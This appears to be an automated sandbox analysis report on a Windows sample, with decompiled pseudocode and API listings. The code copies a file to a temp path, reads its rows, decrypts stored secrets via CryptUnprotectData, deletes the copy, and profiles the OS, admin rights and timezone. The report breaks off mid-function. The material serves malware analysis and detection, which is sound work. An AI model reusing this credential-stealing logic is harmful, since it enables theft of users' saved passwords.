0x00406c1a
0x00406c1e
0x00406c3f
0x00406c43
0x00406c50
0x00406c50
0x00406c60
0x00000000
0x00406c60
0x00406c69

APIs

Part of subcall function 00403C18: SysReAllocStringLen.OLEAUT32(?,00406C70,00000002), ref: 00403C2E

RegCreateKeyExW.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00000000,00000000,00020019,00000000,?,00000000,?,00406D40,00000000,00406E52), ref: 00406C1A
RegQueryValueExW.KERNEL32(?,ProductName,00000000,00000000,?,?,?,00406D40,00000000,00406E52,?,?,?,00000006,00000000,00000000), ref: 00406C3F
RegCloseKey.KERNEL32(00000000,?,00406D40,00000000,00406E52,?,?,?,00000006,00000000,00000000,?,0041872E,?), ref: 00406C60

Strings

ProductName, xrefs: 00406C2E
SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 00406C09

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocCloseCreateQueryStringValue
String ID: ProductName$SOFTWARE\Microsoft\Windows NT\CurrentVersion
API String ID: 3260168215-1787575317
Opcode ID: 09c98a5aa4f7f8a43bb87bbdd4569b0506a6d9cca1e5576b00417c1847076580
Instruction ID: 11e12cba7479b8b01b9fafc70b7cecbc040d8651ce68523128cfa86d41fe4498
Opcode Fuzzy Hash: 09c98a5aa4f7f8a43bb87bbdd4569b0506a6d9cca1e5576b00417c1847076580
Instruction Fuzzy Hash: A4011E703843016BE310DA58CC81F4673E8EB48B04F104435B695EB2D0DAB4ED14975A

Uniqueness

Uniqueness Score: -1.00%

Function 0040A6F0, Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 221
fileCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E0040A6F0(char __eax, void* __ebx, void* __ecx, char __edx, void* __edi, void* __esi, intOrPtr _a4) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				intOrPtr _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v60;
				intOrPtr _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				char _v92;
				intOrPtr* _t77;
				WCHAR* _t92;
				void* _t105;
				intOrPtr* _t124;
				void* _t126;
				intOrPtr* _t128;
				intOrPtr* _t132;
				intOrPtr* _t144;
				intOrPtr* _t148;
				void* _t150;
				intOrPtr* _t152;
				intOrPtr* _t156;
				intOrPtr* _t160;
				void* _t162;
				void* _t165;
				intOrPtr* _t167;
				intOrPtr* _t178;
				void* _t180;
				intOrPtr _t190;
				void* _t198;
				intOrPtr _t209;
				void* _t215;
				intOrPtr _t224;
				intOrPtr _t225;
				void* _t226;
				void* _t227;

				_t222 = __esi;
				_t221 = __edi;
				_t188 = __ebx;
				_t224 = _t225;
				_push(__ecx);
				_t190 = 0xa;
				do {
					_push(0);
					_push(0);
					_t190 = _t190 - 1;
					_t230 = _t190;
				} while (_t190 != 0);
				_t1 =  &_v8;
				 *_t1 = _t190;
				_v16 =  *_t1;
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				E00404150( &_v12);
				E00404150( &_v16);
				 *[fs:eax] = _t225;
				E004034E4( &_v36);
				_t77 = E0041B1C4; // 0x41c6c0
				E0040709C( *((intOrPtr*)( *_t77))( *[fs:eax], 0x40a99b, _t224, __ebx, _t190), __ebx,  &_v56, __esi, _t230);
				_push(_v56);
				E00406FDC( &_v60, __ebx, __edi, __esi, _t230);
				_push(_v60);
				_push(L".tmp");
				E00403E78();
				E004078D8(_v8, __ebx,  &_v48, _t230);
				E004062FC(L"%TEMP%",  &_v68, _t230);
				_push(_v68);
				_push(0x40a9d4);
				_push(_v44);
				E00403E78();
				E004078D8(_v64, _t188,  &_v52, _t230);
				_t92 = E00403D98(_v52);
				CopyFileW(E00403D98(_v48), _t92, 0xffffffff); // executed
				E0040377C( &_v72, _v52);
				E00404B58(_v72, _t188,  *_t1,  &_v40, __esi, _t230);
				E00403D88( &_v76, _v40);
				_t105 = E0040776C(_v76, _t188,  *_t1); // executed
				if(_t105 != 0) {
					_t124 =  *0x41b140; // 0x41ca20
					_t126 =  *((intOrPtr*)( *_t124))(E00403990(_v40),  &_v20); // executed
					_t226 = _t225 + 8;
					if(_t126 == 0) {
						_t144 =  *0x41b348; // 0x41c920
						_t148 =  *0x41b2d4; // 0x41ca28
						_t150 =  *((intOrPtr*)( *_t148))(_v20, E00403990( *_t144), 0xffffffff,  &_v24,  &_v28); // executed
						_t227 = _t226 + 0x14;
						if(_t150 == 0) {
							while(1) {
								_push(_v24);
								_t152 =  *0x41b384; // 0x41ca2c
								if( *((intOrPtr*)( *_t152))() != 0x64) {
									goto L9;
								}
								_t156 =  *0x41b414; // 0x41ca34
								_t160 =  *0x41b1dc; // 0x41ca30
								_t162 =  *((intOrPtr*)( *_t160))(_v24, 2,  *((intOrPtr*)( *_t156))(_v24, 2));
								_t227 = _t227 + 0x10;
								_pop(_t215);
								E0040A610(_t162,  &_v32, _t215);
								_t165 = E00403790(_v32);
								__eflags = _t165;
								if(_t165 != 0) {
									_t167 =  *0x41b1dc; // 0x41ca30
									E004036DC( &_v80,  *((intOrPtr*)( *_t167))(_v24, 1));
									E0040377C( &_v84, _v12);
									_t178 =  *0x41b1dc; // 0x41ca30
									_t180 =  *((intOrPtr*)( *_t178))(_v24, 0, _v84, _v32, _v80);
									_t227 = _t227 + 0x10;
									E004036DC( &_v88, _t180);
									_push(_v88);
									E0040377C( &_v92, _v16);
									_pop(_t198);
									E0040525C(0x40a9e0, _t188, _t198, _v92, _t221, _t222);
								}
							}
						}
					}
					L9:
					_t128 =  *0x41b46c; // 0x41ca38
					 *((intOrPtr*)( *_t128))(_v24);
					_t132 =  *0x41b20c; // 0x41ca24
					 *((intOrPtr*)( *_t132))(_v20); // executed
					E00403D88(_a4, _v36);
					DeleteFileW(E00403D98(_v52)); // executed
				}
				_pop(_t209);
				 *[fs:eax] = _t209;
				_push(E0040A9A2);
				E00403508( &_v92, 4);
				E00403BDC( &_v76);
				E004034E4( &_v72);
				E00403BF4( &_v68, 7);
				E004034E4( &_v40);
				E00403508( &_v36, 2);
				return E00403BF4( &_v16, 3);
			}

0x0040a6f0
0x0040a6f0
0x0040a6f0
0x0040a6f1
0x0040a6f3
0x0040a6f4
0x0040a6f9
0x0040a6f9
0x0040a6fb
0x0040a6fd
0x0040a6fd
0x0040a6fd
0x0040a701
0x0040a701
0x0040a705
0x0040a708
0x0040a70b
0x0040a711
0x0040a719
0x0040a721
0x0040a731
0x0040a737
0x0040a73c
0x0040a748
0x0040a74d
0x0040a753
0x0040a758
0x0040a75b
0x0040a768
0x0040a773
0x0040a780
0x0040a785
0x0040a788
0x0040a78d
0x0040a798
0x0040a7a3
0x0040a7ad
0x0040a7c3
0x0040a7cb
0x0040a7d6
0x0040a7e1
0x0040a7e9
0x0040a7f0
0x0040a803
0x0040a80a
0x0040a80c
0x0040a811
0x0040a821
0x0040a832
0x0040a839
0x0040a83b
0x0040a840
0x0040a8f1
0x0040a8f4
0x0040a8f5
0x0040a902
0x00000000
0x00000000
0x0040a851
0x0040a864
0x0040a86b
0x0040a86d
0x0040a873
0x0040a874
0x0040a87c
0x0040a881
0x0040a883
0x0040a88b
0x0040a89c
0x0040a8af
0x0040a8be
0x0040a8c5
0x0040a8c7
0x0040a8cf
0x0040a8d7
0x0040a8de
0x0040a8eb
0x0040a8ec
0x0040a8ec
0x0040a883
0x0040a8f1
0x0040a840
0x0040a908
0x0040a90c
0x0040a913
0x0040a91a
0x0040a921
0x0040a92a
0x0040a93f
0x0040a93f
0x0040a943
0x0040a946
0x0040a949
0x0040a956
0x0040a95e
0x0040a966
0x0040a973
0x0040a97b
0x0040a988
0x0040a99a

APIs

CopyFileW.KERNEL32(00000000,00000000,000000FF,?,0040A9D4,?,.tmp,?,?,?,00000000,00000009,00000000,00000000,?), ref: 0040A7C3

Part of subcall function 0040A610: CryptUnprotectData.CRYPT32(00000000,00000000,00000000,00000000,00000000,00000001,?), ref: 0040A631
Part of subcall function 0040A610: LocalFree.KERNEL32(?), ref: 0040A656

DeleteFileW.KERNEL32(00000000), ref: 0040A93F

Strings

%TEMP%, xrefs: 0040A77B
.tmp, xrefs: 0040A75B

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$CopyCryptDataDeleteFreeLocalUnprotect
String ID: %TEMP%$.tmp
API String ID: 691380987-3650661790
Opcode ID: 4401e5c68c57e2cb4178c8da8eb66845d2240339dd9592b93ff3b74d5ee1d678
Instruction ID: f5a1a665642ce9f39da0367926cb43ddb89d58c2199e5c081320d952fef3b474
Opcode Fuzzy Hash: 4401e5c68c57e2cb4178c8da8eb66845d2240339dd9592b93ff3b74d5ee1d678
Instruction Fuzzy Hash: A581A971A00109AFCB00EB99D981EDEB7F8EF48305F108576F514F72A1DB79AE058B59

Uniqueness

Uniqueness Score: -1.00%

Function 0040A6AA, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 10
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A6AA() {
				void* _t1;
				struct HINSTANCE__* _t2;
				_Unknown_base(*)()* _t3;

				 *0x41ca68 =  *0x41ca68 - 1;
				if( *0x41ca68 < 0) {
					_t2 = LoadLibraryA("crypt32.dll"); // executed
					_t3 = GetProcAddress(_t2, "CryptUnprotectData");
					 *0x41ca64 = _t3;
					return _t3;
				}
				return _t1;
			}

0x0040a6ac
0x0040a6b3
0x0040a6bf
0x0040a6c5
0x0040a6ca
0x00000000
0x0040a6ca
0x0040a6cf

APIs

LoadLibraryA.KERNEL32(crypt32.dll,CryptUnprotectData), ref: 0040A6BF
GetProcAddress.KERNEL32(00000000,crypt32.dll), ref: 0040A6C5

Strings

crypt32.dll, xrefs: 0040A6BA
CryptUnprotectData, xrefs: 0040A6B5

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: CryptUnprotectData$crypt32.dll
API String ID: 2574300362-1827663648
Opcode ID: fe207437e2ee7f711cbc9e5ec82da5dd37473118ad2ff0c824763446b94a0930
Instruction ID: e6c421c79dddd478bde07d5489d503c1d4cc859a9cbe04b01679e24e10095fcf
Opcode Fuzzy Hash: fe207437e2ee7f711cbc9e5ec82da5dd37473118ad2ff0c824763446b94a0930
Instruction Fuzzy Hash: 49C08CF06A030056CA01EBB29D4A70833693B82B887180C3BB040B14E0D93E4010970F

Uniqueness

Uniqueness Score: -1.00%

Function 00407228, Relevance: 6.1, APIs: 4, Instructions: 107
fileCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00407228(char __eax, void* __ebx, intOrPtr __edx) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				void* _v24;
				char _v28;
				long _t36;
				void* _t39;
				intOrPtr* _t42;
				intOrPtr* _t52;
				intOrPtr* _t57;
				long _t62;
				void* _t65;
				WCHAR* _t72;
				intOrPtr _t80;
				intOrPtr _t81;
				void* _t83;
				void* _t84;
				intOrPtr _t85;

				_t83 = _t84;
				_t85 = _t84 + 0xffffffe8;
				_v28 = 0;
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				_push(_t83);
				_push(0x407353);
				_push( *[fs:eax]);
				 *[fs:eax] = _t85;
				E004034E4(_v12);
				E004034E4( &_v28);
				_t72 = E00403D98(_v8);
				_t36 = GetFileAttributesW(_t72); // executed
				_t39 = CreateFileW(_t72, 0x80000000, 1, 0, 3, _t36, 0); // executed
				_v24 = _t39;
				if(_v24 != 0xffffffff) {
					L2:
					_t42 =  *0x41b264; // 0x41c68c
					_v16 =  *((intOrPtr*)( *_t42))(_v24,  &_v16);
					E00403B1C( &_v28, _v16);
					 *[fs:eax] = _t85;
					_t52 = E0041B470; // 0x41c694
					 *((intOrPtr*)( *_t52))(_v24, _v28, _v16,  &_v20, 0,  *[fs:eax], 0x407323, _t83);
					_pop(_t80);
					 *[fs:eax] = _t80;
					_t57 =  *0x41b1b4; // 0x41c690
					return  *((intOrPtr*)( *_t57))(_v24, E0040732A);
				} else {
					_t62 = GetFileAttributesW(_t72); // executed
					_t65 = CreateFileW(_t72, 0x80000000, 3, 0, 3, _t62, 0); // executed
					_v24 = _t65;
					if(_v24 == 0xffffffff) {
						_pop(_t81);
						 *[fs:eax] = _t81;
						_push(E0040735A);
						E004034E4( &_v28);
						return E00403BDC( &_v8);
					} else {
						goto L2;
					}
				}
			}

0x00407229
0x0040722b
0x00407231
0x00407234
0x00407237
0x0040723d
0x00407244
0x00407245
0x0040724a
0x0040724d
0x00407253
0x0040725b
0x0040726a
0x00407274
0x0040728a
0x0040728c
0x00407293
0x004072c0
0x004072c8
0x004072d1
0x004072da
0x004072ea
0x004072ff
0x00407306
0x0040730a
0x0040730d
0x00407319
0x00407322
0x00407295
0x0040729f
0x004072b5
0x004072b7
0x004072be
0x00407337
0x0040733a
0x0040733d
0x00407345
0x00407352
0x00000000
0x00000000
0x00000000
0x004072be

APIs

Part of subcall function 00404150: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 0040415E

GetFileAttributesW.KERNEL32(00000000,00000000,00000000,00407353,?,?), ref: 00407274
CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,?,?), ref: 0040728A
GetFileAttributesW.KERNEL32(00000000,00000000,?,?), ref: 0040729F
CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,?,?), ref: 004072B5

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$AttributesCreate$AllocString
String ID:
API String ID: 2393235166-0
Opcode ID: dbd730114b7b287f5d9939bea496da7c3e2dfa45c43b748e6c3a6864faa7dc8e
Instruction ID: 32e1165c7f8380f20fab20a09558e200881d1a8c16cef83d47e4a6d60fcff036
Opcode Fuzzy Hash: dbd730114b7b287f5d9939bea496da7c3e2dfa45c43b748e6c3a6864faa7dc8e
Instruction Fuzzy Hash: F331F771A04208AFD711DFA9DD82FAEB7F8EB49710F504076F914E72A0D734AE04CA59

Uniqueness

Uniqueness Score: -1.00%

Function 00407D14, Relevance: 4.6, APIs: 3, Instructions: 80
COMMON

Download Yara Rule

C-Code - Quality: 27%

			E00407D14() {
				long _v8;
				short _v10;
				char _v14;
				long _v20;
				long _v24;
				void* _v28;
				union _SID_NAME_USE _v32;
				char _v36;
				char _t21;
				short _t22;
				intOrPtr _t24;
				intOrPtr* _t26;
				intOrPtr* _t42;
				void* _t44;
				intOrPtr _t52;
				void* _t53;
				void* _t54;
				void* _t56;
				intOrPtr _t57;

				_t54 = _t56;
				_t57 = _t56 + 0xffffffe0;
				_v8 = 0;
				_t21 =  *0x41b0d0; // 0x0
				_v14 = _t21;
				_t22 =  *0x41b0d4; // 0x500
				_v10 = _t22;
				_t24 =  *0x41b0cc; // 0x12
				_t26 =  *0x41b274; // 0x41c71c
				 *((intOrPtr*)( *_t26))( &_v14, 1, _t24, 0, 0, 0, 0, 0, 0, 0,  &_v28, _t53);
				if(_v28 == 0) {
					return _v8;
				} else {
					 *[fs:eax] = _t57;
					_v20 = 0;
					_v24 = 0;
					LookupAccountSidA(0, _v28, 0,  &_v20, 0,  &_v24,  &_v32); // executed
					_t42 =  *0x41b160; // 0x41c728
					_t44 =  *((intOrPtr*)( *_t42))(0, _v28,  &_v36,  *[fs:eax], 0x407dd2, _t54); // executed
					if(_t44 != 0) {
						_v8 = _v36;
					} else {
						_v8 = 0;
					}
					_pop(_t52);
					 *[fs:eax] = _t52;
					_push(E00407DD9);
					return FreeSid(_v28);
				}
			}

0x00407d15
0x00407d17
0x00407d1c
0x00407d1f
0x00407d25
0x00407d28
0x00407d2f
0x00407d45
0x00407d51
0x00407d58
0x00407d5e
0x00407ddf
0x00407d60
0x00407d6b
0x00407d70
0x00407d75
0x00407d95
0x00407da1
0x00407da8
0x00407dac
0x00407db8
0x00407dae
0x00407db0
0x00407db0
0x00407dbd
0x00407dc0
0x00407dc3
0x00407dd1
0x00407dd1

APIs

LookupAccountSidA.ADVAPI32(00000000,00000000,00000000,00000000,00000000,?,?,00000000,00407DD2), ref: 00407D95
CheckTokenMembership.KERNELBASE(00000000,00000000,?), ref: 00407DA8
FreeSid.ADVAPI32(00000000,00407DD9), ref: 00407DCC

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AccountCheckFreeLookupMembershipToken
String ID:
API String ID: 1602037265-0
Opcode ID: 5e83c9b084e7e35297349d76812e9dffc00df868e7d935d63620226d682594f6
Instruction ID: 27b9dc68911105edb543898119344a1168ea53adb1432c2ff39c990f87532faf
Opcode Fuzzy Hash: 5e83c9b084e7e35297349d76812e9dffc00df868e7d935d63620226d682594f6
Instruction Fuzzy Hash: 0E21B575A04209AFDB41CBA8DC51BEFB7F8EB08700F104466EA14E7290E775AA008BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00407360, Relevance: 4.6, APIs: 3, Instructions: 54
fileCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E00407360(char __eax, void* __ebx, char __edx) {
				char _v8;
				char _v12;
				long _v16;
				void* _t21;
				long _t24;
				void* _t37;
				intOrPtr _t41;
				void* _t44;

				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				E00403980(_v12);
				_push(_t44);
				_push(0x4073f4);
				_push( *[fs:eax]);
				 *[fs:eax] = _t44 + 0xfffffff4;
				_t21 = CreateFileW(E00403D98(_v8), 0xc0000000, 3, 0, 2, 0, 0); // executed
				_t37 = _t21;
				_t24 = E00403790(_v12);
				WriteFile(_t37, E004039E8( &_v12), _t24,  &_v16, 0); // executed
				FindCloseChangeNotification(_t37); // executed
				_pop(_t41);
				 *[fs:eax] = _t41;
				_push(E004073FB);
				E004034E4( &_v12);
				return E00403BDC( &_v8);
			}

0x00407367
0x0040736a
0x00407370
0x00407378
0x0040737f
0x00407380
0x00407385
0x00407388
0x004073aa
0x004073ac
0x004073b7
0x004073c7
0x004073d4
0x004073d8
0x004073db
0x004073de
0x004073e6
0x004073f3

APIs

Part of subcall function 00404150: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 0040415E

CreateFileW.KERNEL32(00000000,C0000000,00000003,00000000,00000002,00000000,00000000,00000000,004073F4,?,00000000), ref: 004073AA
WriteFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 004073C7
FindCloseChangeNotification.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 004073D4

Part of subcall function 00403BDC: SysFreeString.OLEAUT32(00000000), ref: 00403BEA

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileString$AllocChangeCloseCreateFindFreeNotificationWrite
String ID:
API String ID: 4167747224-0
Opcode ID: 43432f22bc6f60f64f2521d3b3b8b4a161be99dcd4d1917b5062f7dffc48da17
Instruction ID: 5c007f112bc207020b52db4899322c02a8c13f70d9beadd033b382a6e8114dc3
Opcode Fuzzy Hash: 43432f22bc6f60f64f2521d3b3b8b4a161be99dcd4d1917b5062f7dffc48da17
Instruction Fuzzy Hash: 811118B0A44208BFD701EBA5CC82F9EBBECEB48704F504076B514F72D1DA74AB009A58

Uniqueness

Uniqueness Score: -1.00%

Function 004013EC, Relevance: 3.8, APIs: 3, Instructions: 45
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004013EC(void* __eax, void** __ecx, void* __edx) {
				void* _t4;
				void** _t9;
				void* _t13;
				void* _t14;
				long _t16;
				void* _t17;

				_t9 = __ecx;
				_t14 = __edx;
				_t17 = __eax;
				 *(__ecx + 4) = 0x100000;
				_t4 = VirtualAlloc(__eax, 0x100000, 0x2000, 4); // executed
				_t13 = _t4;
				 *_t9 = _t13;
				if(_t13 == 0) {
					_t16 = _t14 + 0x0000ffff & 0xffff0000;
					_t9[1] = _t16;
					_t4 = VirtualAlloc(_t17, _t16, 0x2000, 4); // executed
					 *_t9 = _t4;
				}
				if( *_t9 != 0) {
					_t4 = E0040123C(0x41c5d4, _t9);
					if(_t4 == 0) {
						VirtualFree( *_t9, 0, 0x8000);
						 *_t9 = 0;
						return 0;
					}
				}
				return _t4;
			}

0x004013f0
0x004013f2
0x004013f4
0x004013f6
0x0040140a
0x0040140f
0x00401411
0x00401415
0x0040141d
0x00401423
0x0040142f
0x00401434
0x00401434
0x00401439
0x00401442
0x00401449
0x00401455
0x0040145c
0x00000000
0x0040145c
0x00401449
0x00401462

APIs

VirtualAlloc.KERNEL32(?,00100000,00002000,00000004,0041C5E4,?,?,?,00401758), ref: 0040140A
VirtualAlloc.KERNEL32(?,?,00002000,00000004,?,00100000,00002000,00000004,0041C5E4,?,?,?,00401758), ref: 0040142F
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00100000,00002000,00000004,0041C5E4,?,?,?,00401758), ref: 00401455

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Virtual$Alloc$Free
String ID:
API String ID: 3668210933-0
Opcode ID: d0f7f9bf85a63e2073a0b0aba1efbedd90cc19d60285e6920d01ae654114abd6
Instruction ID: 45c7259c7c7f7a53f47d7ebf7c15b413a2e3392a3d77efebc7c94e45ea16ea77
Opcode Fuzzy Hash: d0f7f9bf85a63e2073a0b0aba1efbedd90cc19d60285e6920d01ae654114abd6
Instruction Fuzzy Hash: 93F0C8B17403206ADB319A294C85F537AD49B4A764F144176BB08FF3DAD675580086AC

Uniqueness

Uniqueness Score: -1.00%

Function 00416790, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 68
timeCOMMON

Download Yara Rule

C-Code - Quality: 45%

			E00416790(intOrPtr* __eax, void* __ebx, void* __edx, void* __edi, void* __esi) {
				char _v117;
				struct _TIME_ZONE_INFORMATION _v176;
				char _v180;
				char _v184;
				char _v188;
				intOrPtr _t64;
				intOrPtr* _t67;
				void* _t73;
				intOrPtr _t75;

				asm("das");
				 *__eax =  *__eax + __eax;
				_t1 =  &_v117;
				 *_t1 = _v117 + __edx;
				_t75 =  *_t1;
				_v180 = 0;
				_v184 = 0;
				_v188 = 0;
				_t67 = __eax;
				_push(_t73);
				_push(0x41686c);
				_push( *[fs:eax]);
				 *[fs:eax] = _t73 + 0xffffff48;
				GetTimeZoneInformation( &_v176); // executed
				_t52 = _v176.Bias;
				asm("cdq");
				asm("cdq");
				asm("cdq");
				_push(L"UTC+");
				E0040709C( ~(_v176.Bias / 0x3c),  ~(_v176.Bias / 0x3c),  &_v184, (_t52 % 0x0000003c ^ _t52 % 0x0000003c) - _t52 % 0x3c, _t75);
				_push(_v184);
				_push(E00416890);
				E0040709C((_t52 % 0x0000003c ^ _t52 % 0x0000003c) - _t52 % 0x3c,  ~(_v176.Bias / 0x3c),  &_v188, (_t52 % 0x0000003c ^ _t52 % 0x0000003c) - _t52 % 0x3c, _t75);
				_push(_v188);
				E00403E78();
				E0040377C(_t67, _v180);
				_pop(_t64);
				 *[fs:eax] = _t64;
				_push(E00416873);
				return E00403BF4( &_v188, 3);
			}

0x00416790
0x00416791
0x00416793
0x00416793
0x00416793
0x004167a2
0x004167a8
0x004167ae
0x004167b4
0x004167b8
0x004167b9
0x004167be
0x004167c1
0x004167d2
0x004167d4
0x004167e1
0x004167f3
0x004167fa
0x00416801
0x0041680e
0x00416813
0x00416819
0x00416826
0x0041682b
0x0041683c
0x00416849
0x00416850
0x00416853
0x00416856
0x0041686b

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,0041686C,?,-00000001,?,?,?,00416B6B,Zone: ,?,00416CA4,?,LocalTime: ,?,00416CA4), ref: 004167D2

Part of subcall function 00403BF4: SysFreeString.OLEAUT32(?), ref: 00403C07

Strings

UTC+, xrefs: 00416801

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeInformationStringTimeZone
String ID: UTC+
API String ID: 3683333525-3251258214
Opcode ID: c3bb976dd44c253e4d51d667c7ca5e2e059a490641ccd9b31a70ec6ebc12a4eb
Instruction ID: 27eabc9f0045429e762116ab642fbfda2658c70502cd9c05b657de06b2a7fc60
Opcode Fuzzy Hash: c3bb976dd44c253e4d51d667c7ca5e2e059a490641ccd9b31a70ec6ebc12a4eb
Instruction Fuzzy Hash: 42215171B047149FD755DB2A8C41B9AB6FA9B8D300F1181B9B50CE3292D7389E458A16

Uniqueness

Uniqueness Score: -1.00%

Function 00407C34, Relevance: 3.1, APIs: 2, Instructions: 84COMMON

Download Yara Rule

APIs

CheckTokenMembership.KERNELBASE(00000000,00000000,00000000,00000000,00407D02), ref: 00407CD5
FreeSid.ADVAPI32(00000000,00407D09), ref: 00407CFC

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CheckFreeMembershipToken
String ID:
API String ID: 3914140973-0
Opcode ID: 684da7f1912ccf8d100af4d66f16fe37e0ade1452f73a65b9e57601f8946f401
Instruction ID: b2bf85b2e2b23abc2f4a0e5b7d3564ce2fd94028ae90e1c3f906036a39e7bd64
Opcode Fuzzy Hash: 684da7f1912ccf8d100af4d66f16fe37e0ade1452f73a65b9e57601f8946f401
Instruction Fuzzy Hash: 97216F75A48348BEE701CBA8CC45FAE77FCEB09704F4084B2F510E3291D375AA08875A

Uniqueness

Uniqueness Score: -1.00%

Function 00407C33, Relevance: 3.1, APIs: 2, Instructions: 80COMMON

Download Yara Rule

APIs

CheckTokenMembership.KERNELBASE(00000000,00000000,00000000,00000000,00407D02), ref: 00407CD5
FreeSid.ADVAPI32(00000000,00407D09), ref: 00407CFC

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CheckFreeMembershipToken
String ID:
API String ID: 3914140973-0
Opcode ID: 3350cafe3f8cf2e0daa8d574530435bc3faf7afc8018acb51f9e67137038bbf3
Instruction ID: 07ef963ec0b68deb3fcaff7dc025a93d4964a205a3b7442176a44215fb39e405
Opcode Fuzzy Hash: 3350cafe3f8cf2e0daa8d574530435bc3faf7afc8018acb51f9e67137038bbf3
Instruction Fuzzy Hash: B6215E75A48248BEE701CBA8DC81FAE77F8EB09700F5085B2F510E36E1D375AA098759

Uniqueness

Uniqueness Score: -1.00%

Function 004075C0, Relevance: 3.1, APIs: 2, Instructions: 76
registryCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E004075C0(void* __eax, void* __ebx, char __ecx, char __edx, intOrPtr _a4, char _a8) {
				char _v8;
				char _v12;
				int _v16;
				int _v20;
				void* _v24;
				char _v536;
				intOrPtr* _t43;
				intOrPtr* _t52;
				void* _t56;
				intOrPtr _t63;
				void* _t67;

				_v12 = __ecx;
				_v8 = __edx;
				_t56 = __eax;
				E00404150( &_v8);
				E00404150( &_v12);
				_push(_t67);
				_push(0x4076a3);
				_push( *[fs:eax]);
				 *[fs:eax] = _t67 + 0xfffffdec;
				_v20 = 0xfe;
				_v536 = 0;
				if(_a8 != 1) {
					RegOpenKeyExW(_t56, E00403D98(_v8), 0, 0x20019,  &_v24); // executed
				} else {
					_t52 =  *0x41b1a4; // 0x41c718
					 *((intOrPtr*)( *_t52))(_t56, E00403D98(_v8), 0, 0x20119,  &_v24);
				}
				RegQueryValueExW(_v24, E00403D98(_v12), 0,  &_v16,  &_v536,  &_v20); // executed
				E00403D6C(_a4, 0x100,  &_v536);
				_t43 =  *0x41b1fc; // 0x41c714
				 *((intOrPtr*)( *_t43))(); // executed
				_t63 = _t56;
				 *[fs:eax] = _t63;
				_push(E004076AA);
				return E00403BF4( &_v12, 2);
			}

0x004075ca
0x004075cd
0x004075d0
0x004075d5
0x004075dd
0x004075e4
0x004075e5
0x004075ea
0x004075ed
0x004075f0
0x004075f7
0x00407604
0x00407642
0x00407606
0x0040761b
0x00407622
0x00407622
0x00407669
0x00407679
0x0040767f
0x00407686
0x0040768a
0x0040768d
0x00407690
0x004076a2

APIs

Part of subcall function 00404150: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 0040415E

RegOpenKeyExW.KERNEL32(80000002,00000000,00000000,00020019,?), ref: 00407642
RegQueryValueExW.KERNEL32(?,00000000,00000000,00000001,00000000,000000FE), ref: 00407669

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocOpenQueryStringValue
String ID:
API String ID: 4139485348-0
Opcode ID: fe58c2676ed98402a924e622f15a72af40503da2610d54ccfcf300c1ae47a28e
Instruction ID: 85569b86d54529dfd8c79574c565d9cfa8ba7989ecb8e03db7b7756a239e94ff
Opcode Fuzzy Hash: fe58c2676ed98402a924e622f15a72af40503da2610d54ccfcf300c1ae47a28e
Instruction Fuzzy Hash: 9B210A71A44208AFD700EB99CD82EEEB7FCEF48704F5040B6B519E72A1D774AE448B65

Uniqueness

Uniqueness Score: -1.00%

Function 004033F4, Relevance: 3.1, APIs: 2, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E004033F4() {
